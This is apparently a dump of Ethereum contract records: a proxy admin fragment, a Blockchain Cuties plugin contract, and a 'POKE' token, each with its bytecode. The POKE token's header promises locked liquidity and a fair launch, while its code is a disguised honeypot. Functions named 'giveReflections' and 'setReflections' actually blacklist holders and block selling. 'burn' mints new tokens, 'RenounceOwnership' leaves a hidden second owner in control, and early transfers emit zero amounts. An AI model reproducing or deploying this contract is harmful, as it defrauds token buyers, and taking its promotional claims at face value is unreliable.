event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101165780638f28397014610147578063f851a4401461017a5761005d565b3661005d5761005b61018f565b005b61005b61018f565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101a9565b61005b600480360360408110156100ae57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156100d857600080fd5b8201836020820111156100ea57600080fd5b803590602001918460018302840111600160201b8311171561010b57600080fd5b5090925090506101e3565b34801561012257600080fd5b5061012b610290565b604080516001600160a01b039092168252519081900360200190f35b34801561015357600080fd5b5061005b6004803603602081101561016a57600080fd5b50356001600160a01b03166102cd565b34801561018657600080fd5b5061012b610387565b6101976103b8565b6101a76101a2610418565b61043d565b565b6101b1610461565b6001600160a01b0316336001600160a01b031614156101d8576101d381610486565b6101e0565b6101e061018f565b50565b6101eb610461565b6001600160a01b0316336001600160a01b031614156102835761020d83610486565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026a576040519150601f19603f3d011682016040523d82523d6000602084013e61026f565b606091505b505090508061027d57600080fd5b5061028b565b61028b61018f565b505050565b600061029a610461565b6001600160a01b0316336001600160a01b031614156102c2576102bb610418565b90506102ca565b6102ca61018f565b90565b6102d5610461565b6001600160a01b0316336001600160a01b031614156101d8576001600160a01b0381166103335760405162461bcd60e51b81526004018080602001828103825260368152602001806105856036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035c610461565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d3816104c6565b6000610391610461565b6001600160a01b0316336001600160a01b031614156102c2576102bb610461565b3b151590565b6103c0610461565b6001600160a01b0316336001600160a01b031614156104105760405162461bcd60e51b81526004018080602001828103825260328152602001806105536032913960400191505060405180910390fd5b6101a76101a7565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61048f816104ea565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f3816103b2565b61052e5760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bb603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122011681059a40fe9d7e7108bf0fe99dd39b4ffeb0d08952f4a8360ba6e195050f764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,301 |
0xb26ff0cacf79603f306ca5dc215133a25731d70f
|
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract PluginInterface
{
/// @dev simply a boolean to indicate this is the contract we expect to be
function isPluginInterface() public pure returns (bool);
function onRemove() public;
/// @dev Begins new feature.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
/// @param _seller - Old owner, if not the message sender
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
/// @dev Begins new feature, approved and signed by COO.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
// Reference to contract tracking NFT ownership
CutieCoreInterface public coreContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint16 public ownerFee;
// @dev Throws if called by any account other than the owner.
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _coreAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _fee - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
// @dev Set the owner's fee.
// @param fee should be between 0-10,000.
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _cutieId - ID of token whose ownership to verify.
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _cutieId - ID of token whose approval to verify.
function _escrow(address _owner, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transferFrom(_owner, this, _cutieId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _cutieId - ID of token to transfer.
function _transfer(address _receiver, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transfer(_receiver, _cutieId);
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint128 _price) internal view returns (uint128) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
}
/// @title Item effect for Blockchain Cuties
/// @author https://BlockChainArchitect.io
contract SetNobleEffect is CutiePluginBase
{
function run(uint40, uint256, address) public payable onlyCore
{
revert();
}
function runSigned(
uint40 _cutieId,
uint256 /*_parameter*/,
address /*_owner*/
)
external
onlyCore
whenNotPaused
payable
{
uint256 genes = coreContract.getGenes(_cutieId);
require(genes & 0x10000 == 0); // nobility not set
genes |= 0x10000;
coreContract.changeGenes(_cutieId, genes);
}
}
|
0x6060604052600436106100b65763ffffffff60e060020a6000350416631195236981146100bb5780633ccfd60b146100d05780633f4ba83a146100e35780635c975abb146100f65780638456cb591461011d5780638da5cb5b146101305780638e0055531461015f57806394a89233146101795780639652713e1461018c578063a055d455146101ad578063d5b2a01a146101ce578063e410a0c6146101f8578063e80db5db1461021e578063f2fde38b14610231575b600080fd5b34156100c657600080fd5b6100ce610250565b005b34156100db57600080fd5b6100ce610275565b34156100ee57600080fd5b6100ce6102f7565b341561010157600080fd5b610109610376565b604051901515815260200160405180910390f35b341561012857600080fd5b6100ce610386565b341561013b57600080fd5b61014361040a565b604051600160a060020a03909116815260200160405180910390f35b341561016a57600080fd5b6100ce61ffff60043516610419565b341561018457600080fd5b61010961047a565b6100ce64ffffffffff60043516602435600160a060020a036044351661047f565b6100ce64ffffffffff60043516602435600160a060020a036044351661059d565b34156101d957600080fd5b6101e16105b8565b60405161ffff909116815260200160405180910390f35b341561020357600080fd5b6100ce600160a060020a036004351661ffff602435166105c9565b341561022957600080fd5b6101436106b6565b341561023c57600080fd5b6100ce600160a060020a03600435166106c5565b60015433600160a060020a0390811691161461026b57600080fd5b610273610275565b565b60005433600160a060020a03908116911614806102a0575060015433600160a060020a039081169116145b15156102ab57600080fd5b600030600160a060020a031631111561027357600154600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561027357600080fd5b60005433600160a060020a0390811691161461031257600080fd5b60005460a060020a900460ff16151561032a57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005460a060020a900460ff1681565b60005433600160a060020a039081169116146103a157600080fd5b60005460a060020a900460ff16156103b857600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b61271061ffff8216111561042c57600080fd5b60005433600160a060020a0390811691161461044757600080fd5b6001805461ffff90921660a060020a0275ffff000000000000000000000000000000000000000019909216919091179055565b600190565b60015460009033600160a060020a0390811691161461049d57600080fd5b60005460a060020a900460ff16156104b457600080fd5b600154600160a060020a031663999d39478560405160e060020a63ffffffff841602815264ffffffffff9091166004820152602401602060405180830381600087803b151561050257600080fd5b5af1151561050f57600080fd5b50505060405180519150506201000081161561052a57600080fd5b600154620100009190911790600160a060020a031663e1af915d858360405160e060020a63ffffffff851602815264ffffffffff90921660048301526024820152604401600060405180830381600087803b151561058757600080fd5b5af1151561059457600080fd5b50505050505050565b60015433600160a060020a039081169116146100b657600080fd5b60015460a060020a900461ffff1681565b600061271061ffff831611156105de57600080fd5b60005433600160a060020a039081169116146105f957600080fd5b506001805475ffff0000000000000000000000000000000000000000191660a060020a61ffff84160217905581600160a060020a038116634d6a813a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561066357600080fd5b5af1151561067057600080fd5b50505060405180519050151561068557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555050565b600154600160a060020a031681565b60005433600160a060020a039081169116146106e057600080fd5b600160a060020a03811615156106f557600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820bda40d4bb67fef567b79d55faeeb86f3654be4b63103d5cf118e5e1859c460190029
|
{"success": true, "error": null, "results": {}}
| 6,302 |
0xd0d4dd4cbf0464bcf00c2f91cb8776958f76ea50
|
/*
PokeWorld aims to create a cross-chain digital collectible and gaming ecosystem with mainstream appeal. At its core, Poke Monsters are beautifully animated NFTs, which can be unpacked from digital booster packs with $POKE on Ethereum.
Each booster pack includes 3 Poke with randomly selected traits such as type, color, horn and a glitter effect. Each attribute differs in rarity, which makes some combinations extraordinarily scarce and desirable.
POKE is the token that runs the Pokeverse: A limited asset used for booster pack openings, farming and the upcoming play-to-earn games. With each booster pack opening, 40% of each POKE gets burned forever, leading to an ever-decreasing total supply.
Safe - Liquidity will be locked via Team for FIVE years upon launch. No pre-sales, no white-list, just a fair launch.
What are you waiting for? The PokeWorld and its community awaits.
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract POKE is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "PokeWorld";
string public _symbol= "POKE";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x5a28E0cbEE9B9aD286cda1A2d1e48CCb0427916F);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f22